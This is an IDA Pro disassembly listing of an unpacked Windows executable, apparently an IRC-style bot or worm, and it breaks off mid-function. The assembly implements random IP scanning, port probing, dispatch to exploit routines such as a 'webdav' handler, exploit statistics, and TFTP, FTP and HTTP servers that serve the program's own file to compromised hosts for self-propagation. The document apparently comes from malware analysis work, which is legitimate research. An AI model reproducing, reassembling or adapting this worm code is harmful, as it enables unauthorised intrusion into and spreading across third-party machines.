;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	9A1F4A83E4C32678E67D13D5F5FDE4C0

; File Name   :	u:\work\9a1f4a83e4c32678e67d13d5f5fde4c0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0001D8C4 ( 121028.)
; Section size in file		: 0001D8C4 ( 121028.)
; Offset to raw	data for section: 00001000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_4078FA+4834p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aScanExploitSta ; "[SCAN]: Exploit Statistics:"
		push	eax
		xor	ebx, ebx
		call	sub_412BB5
		cmp	dword_42A068, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40106E
		push	esi
		mov	esi, offset dword_42A070


loc_401033:				; CODE XREF: sub_401000+6Bj
		mov	eax, [esi]
		push	eax
		add	ebx, eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_412A80
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_401033
		pop	esi


loc_40106E:				; CODE XREF: sub_401000+2Bj
		push	dword_479BB0
		call	sub_40FD16
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_412BB5
		push	edi
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_412A80
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010CA	proc near		; CODE XREF: sub_4078FA+4154p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	9
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jle	short loc_401106
		mov	eax, [ebp+arg_C]
		push	dword_42D700[eax*8]
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_200]
		push	offset aScanCurrentIpS ; "[SCAN]: Current IP: %s."
		push	eax
		call	sub_412BB5
		add	esp, 0Ch
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_401106:				; CODE XREF: sub_4010CA+13j
		lea	eax, [ebp+var_200]
		push	offset aScanScanNotAct ; "[SCAN]: Scan not active."
		push	eax
		call	sub_412BB5
		pop	ecx
		pop	ecx


loc_401119:				; CODE XREF: sub_4010CA+3Aj
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4045DD
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401C33
		add	esp, 18h
		leave
		retn
sub_4010CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401141	proc near		; CODE XREF: sub_4018D1+52p

var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_94		= byte ptr  9Ch
arg_114		= byte ptr  11Ch
arg_194		= dword	ptr  19Ch
arg_1B4		= dword	ptr  1BCh
arg_1BC		= dword	ptr  1C4h
arg_1C0		= dword	ptr  1C8h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_1B4]
		cmp	eax, 0FFFFFFFFh
		jz	locret_4014F1
		imul	eax, 3Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_42A074[eax], ebx
		push	esi
		jz	loc_4013DF
		push	5
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		mov	eax, dword_42AE44
		push	edi
		push	104h
		mov	edi, offset dword_42ED14
		push	edi
		push	ebx
		mov	dword_42EF24, eax
		mov	dword_42EF20, ebx
		call	ds:dword_41F010	; GetModuleFileNameA
		push	103h
		push	offset byte_42AED0
		mov	esi, offset dword_42EE18
		push	esi
		call	sub_412C40
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42ED10, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42EFA8, eax
		push	7Fh
		jnz	short loc_4011F4
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42EF28
		call	sub_412C40
		mov	dword_42EFAC, 1
		jmp	short loc_40120B
; ---------------------------------------------------------------------------


loc_4011F4:				; CODE XREF: sub_401141+94j
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42EF28
		call	sub_412C40
		mov	dword_42EFAC, ebx


loc_40120B:				; CODE XREF: sub_401141+B1j
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42EF24
		lea	eax, [ebp+var_204]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_410EEA
		add	esp, 20h
		mov	dword_42EF1C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42ED10
		push	offset sub_410A22
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, dword_42EF1C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	loc_401327
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server, error: "...
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_40128A:				; CODE XREF: sub_401141+1EEj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401C33
		pop	ecx
		call	ds:dword_41F004	; GetTickCount
		xor	edx, edx
		mov	ecx, 0F82Fh
		div	ecx
		push	104h
		mov	edi, offset dword_42EA6C
		push	edi
		push	ebx
		mov	dword_42EC78, ebx
		add	edx, 400h
		mov	dword_42EC7C, edx
		call	ds:dword_41F010	; GetModuleFileNameA
		push	103h
		push	offset byte_42AED0
		mov	esi, offset dword_42EB70
		push	esi
		call	sub_412C40
		mov	eax, [ebp+arg_194]
		add	esp, 0Ch
		cmp	[ebp+arg_114], bl
		mov	dword_42EA68, eax
		mov	eax, [ebp+arg_1BC]
		mov	dword_42ED00, eax
		push	7Fh
		jnz	short loc_401334
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42EC80
		call	sub_412C40
		mov	dword_42ED04, 1
		jmp	short loc_40134B
; ---------------------------------------------------------------------------


loc_40131F:				; CODE XREF: sub_401141+1ECj
		push	32h
		call	ds:dword_41F000	; Sleep


loc_401327:				; CODE XREF: sub_401141+128j
		cmp	dword_42EFB0, ebx
		jz	short loc_40131F
		jmp	loc_40128A
; ---------------------------------------------------------------------------


loc_401334:				; CODE XREF: sub_401141+1BFj
		lea	eax, [ebp+arg_114]
		push	eax
		push	offset dword_42EC80
		call	sub_412C40
		mov	dword_42ED04, ebx


loc_40134B:				; CODE XREF: sub_401141+1DCj
		add	esp, 0Ch
		push	esi
		push	edi
		push	dword_42EC7C
		push	dword_42EA68
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aFtpServerStart ; "[FTP]: Server	started	on: %s:%d, File: "...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	6
		push	eax
		call	sub_410EEA
		add	esp, 24h
		mov	dword_42EC74, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42EA68
		push	offset sub_402B1D
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, dword_42EC74
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		pop	edi
		jnz	short loc_4013D2
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aFtpFailedToSta ; "[FTP]: Failed	to start server, error:	<"...
		jmp	loc_4014D3
; ---------------------------------------------------------------------------


loc_4013CA:				; CODE XREF: sub_401141+297j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_4013D2:				; CODE XREF: sub_401141+276j
		cmp	dword_42ED08, ebx
		jz	short loc_4013CA
		jmp	loc_4014E2
; ---------------------------------------------------------------------------


loc_4013DF:				; CODE XREF: sub_401141+25j
		cmp	dword_42A078[eax], ebx
		jz	loc_4014EF
		push	4
		call	sub_4110DA
		test	eax, eax
		pop	ecx
		jnz	loc_4014EF
		push	104h
		mov	esi, offset dword_42E944
		push	esi
		push	ebx
		call	ds:dword_41F010	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_412C10
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_40141D
		mov	[eax], bl


loc_40141D:				; CODE XREF: sub_401141+2D8j
		mov	eax, dword_42AE48
		mov	dword_42EA48, eax
		lea	eax, [ebp+arg_94]
		push	eax
		push	offset dword_42E6BC
		mov	dword_42EA5C, ebx
		call	sub_412BB5
		mov	eax, [ebp+arg_194]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_1BC]
		push	esi
		push	dword_42EA48
		mov	dword_42EA54, ecx
		mov	ecx, [ebp+arg_1C0]
		push	eax
		mov	dword_42E6B8, eax
		mov	dword_42EA58, ecx
		call	sub_406C33
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_410EEA
		add	esp, 20h


loc_401495:				; DATA XREF: .data:off_42BB98o
					; .data:off_42C450o
		mov	dword_42EA50, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_42E6B8
		push	offset sub_403E06
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, dword_42EA50
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_4014FB
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpdFailedToS ; "[HTTPD]: Failed to start server, error:"...


loc_4014D3:				; CODE XREF: sub_401141+284j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_412BB5
		add	esp, 0Ch


loc_4014E2:				; CODE XREF: sub_401141+299j
					; sub_401141+3C2j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_401C33
		pop	ecx


loc_4014EF:				; CODE XREF: sub_401141+35j
					; sub_401141+2A4j ...
		pop	esi
		pop	ebx

locret_4014F1:				; CODE XREF: sub_401141+12j
		leave
		retn
; ---------------------------------------------------------------------------


loc_4014F3:				; CODE XREF: sub_401141+3C0j
		push	32h
		call	ds:dword_41F000	; Sleep


loc_4014FB:				; CODE XREF: sub_401141+384j
		cmp	dword_42EA64, ebx
		jz	short loc_4014F3
		jmp	short loc_4014E2
sub_401141	endp


; =============== S U B	R O U T	I N E =======================================



sub_401505	proc near		; CODE XREF: sub_40169B:loc_4016FDp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		lea	esi, ds:42D700h[esi*8]
		push	dword ptr [esi]
		call	dword_433570	; ntohl
		inc	eax
		push	eax
		call	dword_4335C4	; ntohl
		mov	[esi], eax
		pop	esi
		retn
sub_401505	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401525	proc near		; CODE XREF: sub_40169B+5Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		lea	ecx, [eax+1]


loc_401541:				; CODE XREF: sub_401525+21j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_401541
		sub	eax, ecx
		cmp	eax, 0Fh
		jbe	short loc_401556
		xor	eax, eax
		jmp	loc_4015FB
; ---------------------------------------------------------------------------


loc_401556:				; CODE XREF: sub_401525+28j
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_412D93
		add	esp, 18h
		cmp	[ebp+var_4], edi
		jnz	short loc_4015A0
		call	sub_412D71
		mov	esi, 0FFh
		jmp	short loc_40158D
; ---------------------------------------------------------------------------


loc_401588:				; CODE XREF: sub_401525+79j
		call	sub_412D71


loc_40158D:				; CODE XREF: sub_401525+61j
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		mov	[ebp+var_4], edx
		call	sub_41013C
		test	al, al
		pop	ecx
		jnz	short loc_401588


loc_4015A0:				; CODE XREF: sub_401525+55j
		cmp	[ebp+var_C], edi
		mov	esi, 100h
		jnz	short loc_4015B7
		call	sub_412D71
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	[ebp+var_C], edx


loc_4015B7:				; CODE XREF: sub_401525+83j
		cmp	[ebp+var_8], edi
		jnz	short loc_4015C7
		call	sub_412D71
		cdq
		idiv	esi
		mov	[ebp+var_8], edx


loc_4015C7:				; CODE XREF: sub_401525+95j
		mov	edx, [ebp+var_10]
		cmp	edx, edi
		pop	esi
		jnz	short loc_4015DD
		call	sub_412D71
		cdq
		mov	ecx, 0FEh
		idiv	ecx
		inc	edx


loc_4015DD:				; CODE XREF: sub_401525+A8j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		shl	edx, 8
		add	edx, [ebp+var_8]
		shl	edx, 8
		add	edx, [ebp+var_C]
		shl	edx, 8
		add	eax, edx
		mov	dword_42D700[ecx*8], eax


loc_4015FB:				; CODE XREF: sub_401525+2Cj
		pop	edi
		leave
		retn
sub_401525	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4015FE	proc near		; CODE XREF: sub_40169B+A9p
					; sub_4028A8+2Cp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	ebx, ebx
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4334A0	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401627
		xor	eax, eax
		jmp	short loc_401696
; ---------------------------------------------------------------------------


loc_401627:				; CODE XREF: sub_4015FE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4335EC	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_433444	; ioctlsocket
		push	10h
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		call	dword_433458	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_120]
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_433544	; select
		push	esi
		mov	edi, eax
		call	dword_4335AC	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_401696:				; CODE XREF: sub_4015FE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4015FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40169B	proc near		; DATA XREF: sub_4018D1+144o

var_3B0		= dword	ptr -3B0h
var_394		= dword	ptr -394h
var_390		= byte ptr -390h
var_380		= byte ptr -380h
var_300		= dword	ptr -300h
var_2FC		= byte ptr -2FCh
var_27C		= byte ptr -27Ch
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_254		= byte ptr -254h
var_1D4		= byte ptr -1D4h
var_1C4		= byte ptr -1C4h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1D4]
		rep movsd
		mov	edi, [ebp+var_2C]
		mov	dword ptr [eax+1CCh], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], eax
		call	ds:dword_41F004	; GetTickCount
		push	eax
		call	sub_412D64
		mov	ebx, edi
		pop	ecx
		imul	ebx, 234h
		jmp	loc_4018AD
; ---------------------------------------------------------------------------


loc_4016E7:				; CODE XREF: sub_40169B+220j
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4016FD
		lea	eax, [ebp+var_1D4]
		push	eax
		call	sub_401525
		pop	ecx
		jmp	short loc_401702
; ---------------------------------------------------------------------------


loc_4016FD:				; CODE XREF: sub_40169B+51j
		call	sub_401505


loc_401702:				; CODE XREF: sub_40169B+60j
		pop	ecx
		push	[ebp+arg_0]
		mov	esi, eax
		push	dword_43433C[ebx]
		push	[ebp+var_3C]
		push	esi
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, dword_434138[ebx]
		push	eax
		call	sub_412BB5
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	esi
		call	sub_4015FE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_4018A2
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4017D6
		push	offset dword_42E6A0
		call	ds:dword_41F01C	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	esi
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_254]
		push	offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4017B8
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_254]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4017AC
		lea	eax, [ebp+var_140]


loc_4017AC:				; CODE XREF: sub_40169B+109j
		push	eax
		push	[ebp+var_40]
		call	sub_4045DD
		add	esp, 14h


loc_4017B8:				; CODE XREF: sub_40169B+EEj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_401C33
		mov	[esp+3B0h+var_3B0], offset dword_42E6A0
		call	ds:dword_41F018	; RtlLeaveCriticalSection
		jmp	loc_4018A2
; ---------------------------------------------------------------------------


loc_4017D6:				; CODE XREF: sub_40169B+BEj
		push	esi
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aWebdav ; "webdav"
		push	eax
		lea	eax, [ebp+var_27C]
		push	eax
		call	sub_412BB5
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_40181A
		lea	eax, [ebp+var_140]


loc_40181A:				; CODE XREF: sub_40169B+177j
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_412BB5
		mov	eax, [ebp+var_144]
		pop	ecx
		mov	[ebp+var_300], eax
		pop	ecx
		xor	eax, eax


loc_401837:				; CODE XREF: sub_40169B+1ADj
		mov	cl, [ebp+eax+var_1C4]
		mov	[ebp+eax+var_380], cl
		inc	eax
		test	cl, cl
		jnz	short loc_401837
		mov	eax, [ebp+var_40]
		mov	[ebp+var_394], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_260], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_25C], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_270], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_268], eax
		imul	eax, 3Ch
		sub	esp, 140h
		push	50h
		pop	ecx
		mov	[ebp+var_26C], edi
		lea	esi, [ebp+var_394]
		mov	edi, esp
		rep movsd
		call	off_42A06C[eax]
		mov	edi, [ebp+var_4]
		add	esp, 140h


loc_4018A2:				; CODE XREF: sub_40169B+B4j
					; sub_40169B+136j
		push	7D0h
		call	ds:dword_41F000	; Sleep


loc_4018AD:				; CODE XREF: sub_40169B+47j
		mov	eax, dword_43433C[ebx]
		cmp	dword_42D704[eax*8], 0
		jnz	loc_4016E7
		push	edi
		call	sub_4111AE
		pop	ecx
		push	0
		call	ds:dword_41F014	; ExitThread
		int	3		; Trap to Debugger
sub_40169B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_4018D1	proc near		; DATA XREF: sub_4078FA+3C68o
					; sub_4078FA+5643o

var_304		= dword	ptr -304h
var_250		= byte ptr -250h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 250h
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	74h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_250]
		rep movsd
		mov	dword ptr [eax+1C8h], 1
		lea	eax, [ebp+74h+var_250]
		push	eax
		call	dword_433514	; inet_addr
		mov	ecx, [ebp+74h+var_AC]
		sub	esp, 1D0h
		mov	dword_42D700[ecx*8], eax
		push	74h
		pop	ecx
		lea	esi, [ebp+74h+var_250]
		mov	edi, esp
		rep movsd
		call	sub_401141
		xor	ebx, ebx
		add	esp, 1D0h
		cmp	[ebp+74h+var_1C0], ebx
		jnz	short loc_401943
		mov	eax, dword_432FF4
		mov	[ebp+74h+var_1C0], eax


loc_401943:				; CODE XREF: sub_4018D1+65j
		push	9
		call	sub_4110DA
		xor	edi, edi
		inc	edi
		cmp	eax, edi
		pop	ecx
		jnz	short loc_4019B3
		mov	esi, offset dword_42E6A0
		push	esi
		call	ds:dword_41F024	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41F020	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_4019B3
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical	s"...
		push	eax
		call	sub_412BB5
		cmp	[ebp+74h+var_90], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_40199D
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4045DD
		add	esp, 14h


loc_40199D:				; CODE XREF: sub_4018D1+B0j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4019B3:				; CODE XREF: sub_4018D1+7Fj
					; sub_4018D1+9Bj
		cmp	[ebp+74h+var_A0], edi
		mov	eax, [ebp+74h+var_AC]
		mov	esi, ds:dword_41F000
		mov	dword_42D704[eax*8], edi
		jb	loc_401A64


loc_4019CC:				; CODE XREF: sub_4018D1+18Dj
		push	edi
		push	[ebp+74h+var_AC]
		lea	eax, [ebp+74h+var_250]
		push	[ebp+74h+var_B8]
		mov	[ebp+74h+var_A4], edi
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
		push	eax
		call	sub_412BB5
		push	ebx
		lea	eax, [ebp+74h+var_80]
		push	9
		push	eax
		call	sub_410EEA
		mov	ecx, [ebp+74h+var_AC]
		mov	[ebp+74h+var_A8], eax
		imul	eax, 234h
		add	esp, 24h
		push	ebx
		push	ebx
		mov	dword_43433C[eax], ecx
		lea	eax, [ebp+74h+var_250]
		push	eax
		push	offset sub_40169B
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CreateThread
		mov	ecx, [ebp+74h+var_A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43434C[ecx], eax
		jnz	short loc_401A7B
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
		push	eax
		call	sub_412BB5
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		add	esp, 10h


loc_401A56:				; CODE XREF: sub_4018D1+1AFj
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+74h+var_A0]
		jbe	loc_4019CC


loc_401A64:				; CODE XREF: sub_4018D1+F5j
		cmp	[ebp+74h+var_B0], ebx
		jz	short loc_401A89
		mov	eax, [ebp+74h+var_B0]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep
		jmp	short loc_401A96
; ---------------------------------------------------------------------------


loc_401A77:				; CODE XREF: sub_4018D1+1ADj
		push	1Eh
		call	esi	; Sleep


loc_401A7B:				; CODE XREF: sub_4018D1+162j
		cmp	[ebp+74h+var_84], ebx
		jz	short loc_401A77
		jmp	short loc_401A56
; ---------------------------------------------------------------------------


loc_401A82:				; CODE XREF: sub_4018D1+1C3j
		push	7D0h
		call	esi	; Sleep


loc_401A89:				; CODE XREF: sub_4018D1+196j
		mov	eax, [ebp+74h+var_AC]
		cmp	dword_42D704[eax*8], 1
		jz	short loc_401A82


loc_401A96:				; CODE XREF: sub_4018D1+1A4j
		push	[ebp+74h+var_B0]
		mov	eax, [ebp+74h+var_AC]
		push	[ebp+74h+var_B8]
		mov	eax, dword_42D700[eax*8]
		push	eax
		call	dword_433520	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_80]
		push	offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
		push	eax
		call	sub_412BB5
		add	esp, 14h
		cmp	[ebp+74h+var_90], ebx
		jnz	short loc_401ADE
		push	ebx
		push	[ebp+74h+var_94]
		lea	eax, [ebp+74h+var_80]
		push	eax
		lea	eax, [ebp+74h+var_1BC]
		push	eax
		push	[ebp+74h+var_BC]
		call	sub_4045DD
		add	esp, 14h


loc_401ADE:				; CODE XREF: sub_4018D1+1F1j
		lea	eax, [ebp+74h+var_80]
		push	eax
		call	sub_401C33
		mov	eax, [ebp+74h+var_AC]
		mov	dword_42D704[eax*8], ebx
		mov	[esp+290h+var_304], 0BB8h
		call	esi	; Sleep
		push	9
		call	sub_4110DA
